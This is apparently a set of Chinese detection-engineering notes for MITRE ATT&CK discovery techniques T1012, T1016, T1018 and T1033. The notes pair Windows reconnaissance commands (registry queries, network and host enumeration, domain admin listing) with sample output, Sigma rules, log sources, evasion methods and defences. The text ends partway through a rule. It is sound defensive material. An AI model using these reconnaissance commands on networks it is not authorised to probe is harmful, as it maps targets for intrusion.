攻击者通过查询注册表(T1012)与Windows注册表交互,收集有关操作系统、配置、已安装软件或安全设置的信息。这些信息可用于了解系统环境、识别关键配置(如自动启动程序、服务或用户凭据)或为后续攻击(如持久化、权限提升或数据窃取)做准备。常见查询工具包括Windows原生命令行工具 `reg.exe`(如 `reg query`)、PowerShell命令(如 `Get-ItemProperty`、`Get-ChildItem`)以及WMI查询(如 `Get-WmiObject Win32_Registry`)。攻击者可能在自动发现阶段使用这些信息来决定是否感染目标、执行特定操作或定位高价值注册表键(如 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` 用于持久化或 `HKCU\Software\Microsoft\Terminal Server Client` 用于RDP配置)。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户或管理员账户 - 工具:CMD、PowerShell ### 测试案例 1:查询持久化相关键 ```dos reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" ``` **输出示例**: ```powershell PS C:\Users\heihei> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe Sysdiag REG_SZ "C:\Program Files\Huorong\Sysdiag\bin\HipsTray.exe" ``` ### 测试案例 2:使用 PowerShell ```powershell Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" ``` **输出示例**: ``` PS C:\Users\heihei> Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" SecurityHealth : C:\WINDOWS\system32\SecurityHealthSystray.exe Sysdiag : "C:\Program Files\Huorong\Sysdiag\bin\HipsTray.exe" PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion PSChildName : Run PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` **说明**: - 普通用户可以查询 `HKCU` 下的键,但 `HKLM` 可能需要管理员权限。 - PowerShell 查询可能生成更详细的输出,适合自动化脚本。 ## 检测日志 - **Windows 安全日志**: - 事件 ID 4688:进程创建,记录 `reg.exe`、`powershell.exe` 的执行。 - 事件 ID 4657:注册表对象修改或查询(需启用 `Audit Registry`)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数和父进程信息。 - 事件 ID 13:注册表查询或修改,记录目标键路径。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 命令执行,如 `Get-ItemProperty`。 - **系统日志**: - 事件 ID 7045:新服务注册,可能与查询服务相关键结合。 - **要求**: - 启用 `Audit Process Creation` 和 `Audit Registry`(安全日志)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - 部署 Sysmon 并配置注册表和进程监控。 ## 测试留痕 - **进程相关**: - 进程创建:`reg.exe`、`powershell.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"`。 - **注册表访问**: - 查询 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`等。 - Sysmon 事件 ID 13 记录注册表访问事件。 - **文件访问**: - 可能的输出文件(如 `reg query > output.txt`)。 - 脚本文件(如 `.ps1` 文件)创建或访问。 - **网络痕迹**: - 远程 WMI 查询可能涉及DCOM(端口135、动态高位端口)。 - **隐藏手段**: - 使用编码后的PowerShell脚本(如 `Invoke-Obfuscation`)。 - 重定向输出到文件或通过网络传输以减少本地日志。 - 使用第三方工具(如PsTools的 `PsReg`)查询注册表。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows 注册表查询 description: 检测通过reg.exe、PowerShell或WMI执行注册表查询的行为 references: - https://attack.mitre.org/techniques/T1012/ - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1012/T1012.md tags: - attack.discovery - attack.t1012 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_reg: EventID: 4688 # 新进程创建 NewProcessName|endswith: '\reg.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: - 'query' - 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' - 'HKCU\Software\Microsoft\Terminal Server Client' - 'HKLM\SYSTEM\CurrentControlSet\Services' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-ItemProperty' - 'Get-ChildItem' - 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' selection_sysmon: EventID: 13 # Sysmon 注册表事件 TargetObject|contains: - '\Software\Microsoft\Windows\CurrentVersion\Run' condition: selection_reg or selection_powershell or selection_sysmon timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - TargetObject level: medium falsepositives: - 合法的IT管理工具可能查询注册表 - 管理员手动运行注册表查询命令 ``` ### 检测思路 1. **进程监控**: - 监控 `reg.exe`、`powershell.exe`的进程创建(事件ID4688)。 - 关注命令行参数中包含 `query`、`Get-ItemProperty`的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-ItemProperty` 或 `Get-ChildItem` 的执行。 3. **注册表监控**: - 使用 Sysmon 监控高价值注册表键的访问(如 `Run` 键、RDP 配置)。 4. **行为分析**: - 检测短时间内高频的注册表查询行为(5 分钟内多次触发)。 - 结合上下文(如异常用户、未知父进程)提高检测准确性。 ## 建议 1. **防御措施**: - 限制普通用户对敏感注册表键的访问权限(如 `HKLM\SOFTWARE` 和 `HKLM\SYSTEM`)。 - 启用组策略,限制 `reg.exe` 和 PowerShell 的执行。 - 部署 EDR 工具,监控注册表查询和修改行为。 2. **检测优化**: - 监控短时间内高频的注册表查询行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测 WMI 相关的 DCOM 流量(端口 135 及高位端口),识别远程注册表查询。 3. **降低误报**: - 排除已知的 IT 管理工具(如 SCCM、Ansible)或合法脚本触发的行为。 - 配置白名单,过滤常见管理员操作(如 `reg query` 用于系统维护)。 4. **其他工具**: - 攻击者可能使用第三方工具(如 PsTools 的 `PsReg`)或自定义脚本,建议监控未知可执行文件的运行。 ## 参考推荐 - MITRE ATT&CK: T1012 - Windows `reg` 命令详解 - Atomic Red Team - T1012 测试案例 ================================================ FILE: Windows/09发现/T1016-win-系统网络配置发现.md ================================================ # T1016-Win-系统网络配置发现 ## 描述 攻击者通过系统网络配置发现(T1016)收集目标系统或远程系统的网络配置和设置详细信息,以了解网络环境、识别关键设备(如网关、DNS 服务器或域控制器)或为后续攻击(如横向移动、数据泄露)做准备。在 Windows 系统中,攻击者可能使用原生工具如 `ipconfig`、`arp`、`nbtstat`、`route` 和 `netsh`,以及 PowerShell 命令(如 `Get-NetAdapter`、`Get-NetIPAddress`)或 WMI 查询(如 `Win32_NetworkAdapterConfiguration`)。在 Linux 或 macOS 系统中,攻击者可能使用 `ifconfig`、`arp` 或 `netstat` 等命令。攻击者利用这些信息规划攻击路径、识别网络拓扑或确认目标系统的网络连接状态。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户或管理员账户 - 工具:CMD、PowerShell、WMIC ### 测试案例 1:使用 `ipconfig` ```dos ipconfig /all ``` **输出示例**: ``` indows IP 配置 主机名 . . . . . . . . . . . . . : DESKTOP-4C7J879 主 DNS 后缀 . . . . . . . . . . . : 节点类型 . . . . . . . . . . . . : 混合 IP 路由已启用 . . . . . . . . . . : 否 WINS 代理已启用 . . . . . . . . . : 否 DNS 后缀搜索列表 . . . . . . . . : localdomain 以太网适配器 以太网: 连接特定的 DNS 后缀 . . . . . . . : localdomain 描述. . . . . . . . . . . . . . . : Parallels VirtIO Ethernet Adapter 物理地址. . . . . . . . . . . . . : 00-1C-42-71-FB-62 DHCP 已启用 . . . . . . . . . . . : 是 自动配置已启用. . . . . . . . . . : 是 IPv6 地址 . . . . . . . . . . . . : fdb2:2c26:f4e4:0:7960:e1da:ea46:533a(首选) 临时 IPv6 地址. . . . . . . . . . : fdb2:2c26:f4e4:0:b073:a90:a019:7277(首选) 本地链接 IPv6 地址. . . . . . . . : fe80::7960:e1da:ea46:533a%13(首选) IPv4 地址 . . . . . . . . . . . . : 10.211.55.111(首选) 子网掩码 . . . . . . . . . . . . : 255.255.255.0 获得租约的时间 . . . . . . . . . : 2025年5月25日 22:00:10 租约过期的时间 . . . . . . . . . : 2025年5月25日 23:37:48 默认网关. . . . . . . . . . . . . : fe80::21c:42ff:fe00:18%13 10.211.55.1 DHCP 服务器 . . . . . . . . . . . : 10.211.55.1 DHCPv6 IAID . . . . . . . . . . . : 50338882 DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-2E-C3-D1-C9-00-1C-42-71-FB-62 DNS 服务器 . . . . . . . . . . . : fe80::21c:42ff:fe00:18%13 10.211.55.1 fe80::21c:42ff:fe00:18%13 TCPIP 上的 NetBIOS . . . . . . . : 已启用 ``` ### 测试案例 2:使用 `arp -a` ```dos arp -a ``` **输出示例**: ``` 接口: 10.211.55.111 --- 0xd Internet 地址 物理地址 类型 10.211.55.1 00-1c-42-00-00-18 动态 10.211.55.255 ff-ff-ff-ff-ff-ff 静态 224.0.0.22 01-00-5e-00-00-16 静态 224.0.0.251 01-00-5e-00-00-fb 静态 224.0.0.252 01-00-5e-00-00-fc 静态 239.255.255.250 01-00-5e-7f-ff-fa 静态 255.255.255.255 ff-ff-ff-ff-ff-ff 静态 ``` ### 测试案例 3:使用 `nbtstat -n` ```dos nbtstat -n ``` **输出示例**: ``` 以太网: 节点 IP 址址: [10.211.55.111] 范围 ID: [] NetBIOS 本地名称表 名称 类型 状态 --------------------------------------------- DESKTOP-4C7J879<20> 唯一 已注册 DESKTOP-4C7J879<00> 唯一 已注册 WORKGROUP <00> 组 已注册 ``` ### 测试案例 4:使用 `route print` ```dos route print ``` **输出示例**: ``` =========================================================================== 接口列表 13...00 1c 42 71 fb 62 ......Parallels VirtIO Ethernet Adapter 1...........................Software Loopback Interface 1 =========================================================================== IPv4 路由表 =========================================================================== 活动路由: 网络目标 网络掩码 网关 接口 跃点数 0.0.0.0 0.0.0.0 10.211.55.1 10.211.55.111 15 10.211.55.0 255.255.255.0 在链路上 10.211.55.111 271 10.211.55.111 255.255.255.255 在链路上 10.211.55.111 271 10.211.55.255 255.255.255.255 在链路上 10.211.55.111 271 127.0.0.0 255.0.0.0 在链路上 127.0.0.1 331 127.0.0.1 255.255.255.255 在链路上 127.0.0.1 331 127.255.255.255 255.255.255.255 在链路上 127.0.0.1 331 224.0.0.0 240.0.0.0 在链路上 127.0.0.1 331 224.0.0.0 240.0.0.0 在链路上 10.211.55.111 271 255.255.255.255 255.255.255.255 在链路上 127.0.0.1 331 255.255.255.255 255.255.255.255 在链路上 10.211.55.111 271 =========================================================================== 永久路由: 无 IPv6 路由表 =========================================================================== 活动路由: 接口跃点数网络目标 网关 13 271 ::/0 fe80::21c:42ff:fe00:18 1 331 ::1/128 在链路上 13 271 fdb2:2c26:f4e4::/64 在链路上 13 271 fdb2:2c26:f4e4:0:7960:e1da:ea46:533a/128 在链路上 13 271 fdb2:2c26:f4e4:0:b073:a90:a019:7277/128 在链路上 13 271 fe80::/64 在链路上 13 271 fe80::7960:e1da:ea46:533a/128 在链路上 1 331 ff00::/8 在链路上 13 271 ff00::/8 在链路上 =========================================================================== 永久路由: 无 ``` ### 测试案例 5:使用 PowerShell ```powershell Get-NetAdapter | Select-Object Name, InterfaceDescription, MacAddress, Status ``` **输出示例**: ``` Name InterfaceDescription MacAddress Status ---- -------------------- ---------- ------ 以太网 Parallels VirtIO Ethernet Adapter 00-1C-42-71-FB-62 Up ``` ### 测试案例 6:使用 WMIC ```dos wmic nicconfig get Caption,IPAddress,MACAddress ``` **输出示例**: ``` Caption IPAddress MACAddress [00000000] Microsoft Kernel Debug Network Adapter [00000001] Parallels VirtIO Ethernet Adapter {"10.211.55.111", "fe80::7960:e1da:ea46:533a", "fdb2:2c26:f4e4:0:b073:a90:a019:7277", "fdb2:2c26:f4e4:0:7960:e1da:ea46:533a"} 00:1C:42:71:FB:62 ``` **说明**: - 普通用户可以运行大多数命令(如 `ipconfig`、`arp`),但某些命令(如 `netsh advfirewall`)可能需要管理员权限。 - PowerShell 和 WMIC 提供更结构化的输出,适合脚本化处理。 ## 检测日志 - **Windows 安全日志**: - 事件 ID 4688:进程创建,记录 `ipconfig.exe`、`arp.exe`、`nbtstat.exe`、`route.exe`、`netsh.exe` 或 `powershell.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数和父进程信息。 - 事件 ID 3:网络连接,记录可能的远程查询(如 `netsh` 涉及的流量)。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 命令执行,如 `Get-NetAdapter`。 - **要求**: - 启用 `Audit Process Creation`(安全日志)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。 - 部署 Sysmon 并配置进程创建和网络连接监控。 ## 测试留痕 - **进程相关**: - 进程创建:`ipconfig.exe`、`arp.exe`、`nbtstat.exe`、`route.exe`、`netsh.exe`、`powershell.exe`、`wmic.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `ipconfig /all`、`arp -a`、`Get-NetAdapter`。 - **文件访问**: - 可能的输出文件(如 `ipconfig /all > output.txt`)。 - 脚本文件(如 `.ps1` 文件)创建或访问。 - **网络痕迹**: - WMI 远程查询可能涉及 DCOM(端口 135、动态高位端口)。 - `netsh` 命令可能触发防火墙相关的网络活动。 - **隐藏手段**: - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 重定向输出到文件或通过网络传输以减少本地日志。 - 使用第三方工具(如 PsTools 的 `PsPing`)进行网络配置查询。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows系统网络配置发现 description: 检测通过 ipconfig、arp、nbtstat、route、netsh、PowerShell 或 WMI 执行系统网络配置发现的行为 references: - https://attack.mitre.org/techniques/T1016/ - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1016/T1016.md tags: - attack.discovery - attack.t1016 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 新进程创建 NewProcessName|endswith: - '\ipconfig.exe' - '\arp.exe' - '\nbtstat.exe' - '\route.exe' - '\netsh.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: - '/all' - '-a' - '-n' - 'print' - 'interface show' - 'advfirewall firewall show' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-NetAdapter' - 'Get-NetIPAddress' - 'Get-NetRoute' selection_wmi: EventID: 4688 # 新进程创建 NewProcessName|endswith: '\wmic.exe' ProcessCommandLine|contains: 'nicconfig' condition: selection_cmd or selection_powershell or selection_wmi timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText level: medium falsepositives: - 合法的IT管理工具可能触发类似行为 - 管理员手动运行网络配置查询命令 ``` ### 检测思路 1. **进程监控**: - 监控 `ipconfig.exe`、`arp.exe`、`nbtstat.exe`、`route.exe`、`netsh.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `/all`、`-a`、`-n`、`print`、`interface show` 或 `Get-NetAdapter` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-NetAdapter`、`Get-NetIPAddress` 或 `Get-NetRoute` 的执行。 3. **WMI 监控**: - 检测 `wmic.exe` 进程启动,尤其是命令行中包含 `nicconfig` 的情况。 4. **行为分析**: - 检测短时间内高频的网络配置查询行为(5 分钟内多次触发)。 - 结合上下文(如异常用户、未知父进程)提高检测准确性。 ## 建议 1. **防御措施**: - 限制普通用户对网络配置查询工具(如 `ipconfig`、`netsh`)的执行权限。 - 启用组策略,限制 PowerShell 和 WMIC 的使用。 - 部署 EDR 工具,监控网络配置查询行为。 2. **检测优化**: - 监控短时间内高频的网络配置查询行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测 WMI 相关的 DCOM 流量(端口 135 及高位端口),识别远程网络配置查询。 3. **降低误报**: - 排除已知的 IT 管理工具(如 SCCM、Ansible)或合法脚本触发的行为。 - 配置白名单,过滤常见管理员操作(如 `ipconfig /all` 用于网络诊断)。 4. **其他工具**: - 攻击者可能使用第三方工具(如 PsTools 的 `PsPing`)或自定义脚本,建议监控未知可执行文件的运行。 ## 参考推荐 - MITRE ATT&CK: T1016 - Sysmon配置指南 - Atomic Red Team - T1016 测试案例 ================================================ FILE: Windows/09发现/T1018-win-远程系统发现.md ================================================ # T1018-Win-远程系统发现 ## 描述 攻击者通过远程系统发现(T1018)获取 Windows 网络中其他系统的列表,包括 IP 地址、主机名或其他逻辑标识符,以识别活跃主机、收集网络拓扑或为横向移动、数据窃取等后续攻击做准备。攻击者可能使用原生工具如 `ping`、`net view`、`nbtscan`,PowerShell 命令(如 `Test-Connection`、`Get-NetNeighbor`)或 WMI 查询(如 `Win32_PingStatus`)。攻击者还可能检查本地主机文件(`C:\Windows\System32\Drivers\etc\hosts`)以发现主机名到 IP 地址的映射。这些信息可帮助攻击者定位高价值目标(如域控制器、文件服务器)或规划攻击路径。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户或管理员账户 - 工具:CMD、PowerShell、nbtscan、WMIC ### 测试案例 1:使用 `nbtscan` ```dos nbtscan-1.0.35.exe 10.211.55.1/24 ``` **输出示例**: ``` 10.211.55.2 WORKSTATION01 domain\user1 00:15:5D:01:23:45 10.211.55.3 SERVER01 domain\admin 00:15:5D:67:89:AB *timeout (normal end of scan) ``` ### 测试案例 2:使用 `ping` ```dos ping 10.211.55.2 ``` **输出示例**: ``` Pinging 10.211.55.2 with 32 bytes of data: Reply from 10.211.55.2: bytes=32 time=1ms TTL=128 Reply from 10.211.55.2: bytes=32 time<1ms TTL=128 ``` ### 测试案例 3:使用 `net view` ```dos net view ``` **输出示例**: ``` Server Name Remark ------------------------------------------------------------------------------- \\SERVER01 File Server \\WORKSTATION01 Workstation The command completed successfully. ``` ### 测试案例 4:使用 PowerShell ```powershell Test-Connection -ComputerName 10.211.55.2 -Count 2 ``` **输出示例**: ``` Source Destination IPV4Address IPV6Address Bytes Time(ms) ------ ----------- ----------- ----------- ----- -------- DESKTOP-TEST 10.211.55.2 10.211.55.2 32 1 DESKTOP-TEST 10.211.55.2 10.211.55.2 32 0 ``` ### 测试案例 5:使用 WMI ```dos wmic /node:10.211.55.2 path Win32_PingStatus where "Address='10.211.55.3'" ``` **输出示例**: ``` Address StatusCode 10.211.55.3 0 ``` **说明**: - `nbtscan` 需要下载第三方工具,普通用户即可运行。 - `ping` 和 `net view` 不需要管理员权限,广泛用于网络扫描。 - PowerShell 和 WMI 可能需要管理员权限,尤其是远程查询。 ## 检测日志 - **安全日志**: - 事件 ID 4688: 进程创建,记录 `nbtscan.exe`、`ping.exe`、`net.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1: 进程创建,记录命令行参数和父进程信息。 - 事件 ID 3: 网络连接,记录 ICMP、NetBIOS 或 SMB 流量。 - **PowerShell 日志**: - 事件 ID 4103/4104: 记录 PowerShell 命令执行,如 `Test-Connection`。 - **要求**: - 启用 `Audit Process Creation`(安全日志)。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`. - 部署 Sysmon 并配置进程创建和网络连接监控。 ## 测试留痕 - **进程相关**: - 进程创建: `nbtscan.exe`, `ping.exe`, `net.exe`, `powershell.exe`, `wmic.exe`。 - 父进程: 如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数: 如 `nbtscan-1.0.35.exe 10.211.55.1/24`、`ping 10.211.55.2`。 - **文件访问**: - 第三方工具(如 `nbtscan.exe`)的下载或执行。 - 可能的输出文件(如 `nbtscan > output.txt`)。 - 主机文件访问(`C:\Windows\System32\Drivers\etc\hosts`)。 - **网络痕迹**: - ICMP 流量(`ping` 触发)。 - NetBIOS 流量(`nbtscan` 或 `net view`,端口 137/138/139)。 - SMB 流量(`net view`,端口 445)。 - WMI 远程查询(DCOM,端口 135 和动态高位端口)。 - **隐藏手段**: - 重命名 `nbtscan.exe` 或使用自定义编译的工具。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 重定向输出到文件或通过网络传输以减少本地日志。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows远程系统发现 description: 检测通过nbtscan、ping、net view、PowerShell或WMI执行Windows远程系统发现的行为 references: - https://attack.mitre.org/techniques/T1018/ - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Discovery/detect-nbtscan-activity.md tags: - attack.discovery - attack.t1018 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 新进程创建 NewProcessName|endswith: - '\nbtscan.exe' - '\ping.exe' - '\net.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: - '10.' - '192.168.' - 'view' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Test-Connection' - 'Get-NetNeighbor' selection_wmi: EventID: 4688 # 新进程创建 NewProcessName|endswith: '\wmic.exe' ProcessCommandLine|contains: 'Win32_PingStatus' selection_sysmon_network: EventID: 3 # Sysmon 网络连接 DestinationPort|in: - 137 - 138 - 139 - 445 Image|endswith: - '\nbtscan.exe' - '\net.exe' condition: selection_cmd or selection_powershell or selection_wmi or selection_sysmon_network timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - DestinationPort level: medium falsepositives: - 合法的IT管理工具可能触发类似行为 - 管理员手动运行网络扫描命令 ``` ### 检测思路 1. **进程监控**: - 监控 `nbtscan.exe`、`ping.exe`、`net.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 IP 地址范围(如 `10.`、`192.168.`)或 `view` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Test-Connection` 或 `Get-NetNeighbor` 的执行。 3. **WMI 监控**: - 检测 `wmic.exe` 进程启动,尤其是命令行中包含 `Win32_PingStatus` 的情况。 4. **网络监控**: - 使用 Sysmon 事件 ID 3 监控 NetBIOS(137/138/139)或 SMB(445)流量。 5. **行为分析**: - 检测短时间内高频的网络扫描行为(5 分钟内多次触发)。 - 结合上下文(如异常用户、未知父进程)提高检测准确性。 ## 建议 1. **防御措施**: - 限制普通用户对网络扫描工具(如 `nbtscan`、`ping`)的执行权限。 - 启用组策略,限制 PowerShell 和 WMIC 的使用。 - 部署 EDR 工具,监控异常网络扫描行为。 - 使用防火墙阻止未经授权的 NetBIOS(137/138/139)或 SMB(445)流量。 2. **检测优化**: - 监控短时间内高频的网络扫描行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测 NetBIOS(137/138/139)、SMB(445)或 DCOM(135 和高位端口)流量,识别远程系统发现。 3. **降低误报**: - 排除已知的 IT 管理工具(如 SCCM、Ansible)或合法脚本触发的行为。 - 配置白名单,过滤常见管理员操作(如 `ping` 用于网络诊断)。 4. **其他工具**: - 攻击者可能使用第三方工具(如 PsTools 的 `PsPing`、Nmap)或自定义脚本,建议监控未知可执行文件的运行和异常网络流量。 ## 参考推荐 - MITRE ATT&CK: T1018 - Microsoft 365 Defender - 检测nbtscan活动 - Nbtscan下载 ================================================ FILE: Windows/09发现/T1033-win-系统所有者及用户发现.md ================================================ # T1033-Win-系统所有者/用户发现 ## 描述 攻击者通过系统所有者/用户发现(T1033)识别主要用户、当前登录用户、通常使用系统的用户集,或者用户是否正在积极使用系统,以确定高权限用户(如管理员)、伪装合法操作或为横向移动、权限提升等后续攻击做准备。在 Windows 系统中,攻击者可能使用原生工具如 `whoami`、`net user`、`net group`、`quser`、`qwinsta`,PowerShell 命令(如 `Get-LocalUser`、`Get-ADUser`)或 WMI 查询(如 `Win32_UserAccount`)。用户和用户名信息在运行进程所有权、文件目录所有权、会话信息和系统日志中广泛存在,攻击者可通过多种方式收集。在 Linux 系统中,攻击者可能使用 `who`、`w` 或检查 `/etc/passwd` 获取用户信息。这些信息可帮助攻击者选择目标账户或规避检测。本文档聚焦于 Windows 平台的检测和防御,Linux 平台作为辅助参考。 ## 测试案例 ### 环境 - **Windows**:Windows Server 2016 / Windows 10,普通用户或管理员权限 - **Linux**:linux mint,普通用户权限 - **工具**:CMD、PowerShell、WMIC(Windows);`who`、`w`(Linux) ### 测试案例 1:Windows - 使用 `whoami` ```dos whoami ``` **输出示例**: ``` desktop-4c7j879\heihei ``` ### 测试案例 2:Windows - 查询域用户 ```dos net user /domain ``` **输出示例**: ``` net user /domain 这项请求将在域 WORKGROUP 的域控制器处理。 发生系统错误 1355。 指定的域不存在,或无法联系。 ``` ### 测试案例 3:Windows - 查询域管理员 ```dos net group "Domain Admins" /domain ``` **输出示例**: ``` Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Administrator user1 The command completed successfully. ``` ### 测试案例 4:Windows - 查看工作站信息 ```dos net config Workstation ``` **输出示例**: ``` 计算机名 \\DESKTOP-4C7J879 计算机全名 DESKTOP-4C7J879 用户名 heihei 工作站正运行于 NetBT_Tcpip_{99671A34-4CEC-4C3E-9DEA-653D74FCBAD2} (001C4271FB62) 软件版本 Windows 10 Pro 工作站域 WORKGROUP 登录域 DESKTOP-4C7J879 COM 打开超时 (秒) 0 COM 发送计数 (字节) 16 COM 发送超时 (毫秒) 250 命令成功完成。 ``` ### 测试案例 5:Windows - 使用 `quser` ```dos quser ``` **输出示例**: ``` 用户名 会话名 ID 状态 空闲时间 登录时间 >heihei console 1 运行中 无 2025/5/25 22:00 ``` ### 测试案例 6:Windows - 使用 PowerShell ```powershell Get-LocalUser ``` **输出示例**: ``` Name Enabled Description ---- ------- ----------- Administrator False 管理计算机(域)的内置帐户 DefaultAccount False 系统管理的用户帐户。 Guest False 供来宾访问计算机或访问域的内置帐户 heihei True WDAGUtilityAccount False 系统为 Windows Defender 应用程序防护方案管理和使用的用户帐户。 ``` ### 测试案例 7:Windows - 使用 WMI ```dos wmic useraccount get Name,SID ``` **输出示例**: ``` Name SID Administrator S-1-5-21-4247806868-886200894-33507537-500 DefaultAccount S-1-5-21-4247806868-886200894-33507537-503 Guest S-1-5-21-4247806868-886200894-33507537-501 heihei S-1-5-21-4247806868-886200894-33507537-1001 WDAGUtilityAccount S-1-5-21-4247806868-886200894-33507537-504 ``` ### 测试案例 8:Linux - 使用 `who` ```bash who ``` **输出示例**: ``` icbc :0 2025-05-25 08:58 (:0) user1 pts/0 2025-05-25 09:00 (192.168.1.100) ``` ### 测试案例 9:Linux - 使用 `w` ```bash w ``` **输出示例**: ``` 09:03:14 up 5 min, 2 users, load average: 0.08, 0.51, 0.31 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT icbc :0 :0 08:58 ?xdm? 35.66s 0.02s /usr/lib/gdm3/g user1 pts/0 192.168.1.100 09:00 10.00s 0.05s 0.05s bash ``` **说明**: - Windows 命令如 `whoami`、`net user`、`quser` 通常无需管理员权限,`net group` 和 WMI 可能需要域环境或管理员权限。 - Linux 命令 `who` 和 `w` 可由普通用户运行。 - PowerShell 和 WMI 提供更详细的用户信息,常见于高级攻击场景。 ## 检测日志 - **Windows**: - **安全日志**: - 事件 ID 4688: 进程创建,记录 `whoami.exe`、`net.exe`、`quser.exe`、`qwinsta.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1: 进程创建,记录命令行参数和父进程信息。 - 事件 ID 3: 网络连接,记录可能的域查询(如 LDAP 或 NetBIOS)。 - **PowerShell 日志**: - 事件 ID 4103/4104: 记录 PowerShell 命令执行,如 `Get-LocalUser` 或 `Get-ADUser`。 - **Linux**: - **历史日志**: 用户执行的 `who` 或 `w` 命令记录在 `~/.bash_history` 或 `/root/.bash_history`。 - **系统日志**: `/var/log/auth.log` 或 `/var/log/secure`,记录用户相关操作。 - **要求**: - Windows: 启用 `Audit Process Creation`(安全日志)、PowerShell `Script Block Logging` 和 `Module Logging`、Sysmon 进程和网络监控。 - Linux: 启用 `auditd` 或确保 `/var/log/auth.log` 记录用户命令。 ## 测试留痕 - **Windows**: - **进程相关**: - 进程创建: `whoami.exe`, `net.exe`, `quser.exe`, `qwinsta.exe`, `powershell.exe`, `wmic.exe`。 - 父进程: 如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数: 如 `whoami`, `net user /domain`, `quser`. - **文件访问**: - 可能的输出文件(如 `net user > users.txt`)。 - **网络痕迹**: - LDAP 查询(`net user /domain` 或 `net group`,端口 389/636)。 - NetBIOS 或 SMB 流量(`quser`,端口 137/138/139/445)。 - **隐藏手段**: - 重命名工具(如 `whoami.exe` 改为 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 重定向输出到文件或通过网络传输以减少本地日志。 - **Linux**: - **命令历史**: - `who` 和 `w` 记录在 `~/.bash_history`。 - **系统日志**: - `/var/log/auth.log` 或 `/var/log/secure` 记录操作。 - **隐藏手段**: - 清空或修改 `.bash_history`。 - 使用非交互式 shell 避免记录。 ## 检测规则/思路 ### Sigma 规则 #### Windows ```yml title: Windows系统所有者/用户发现 id: 8c4f7a2d-8e5b-4c9a-b2d3-9d0b1c8f7a4b description: 检测通过 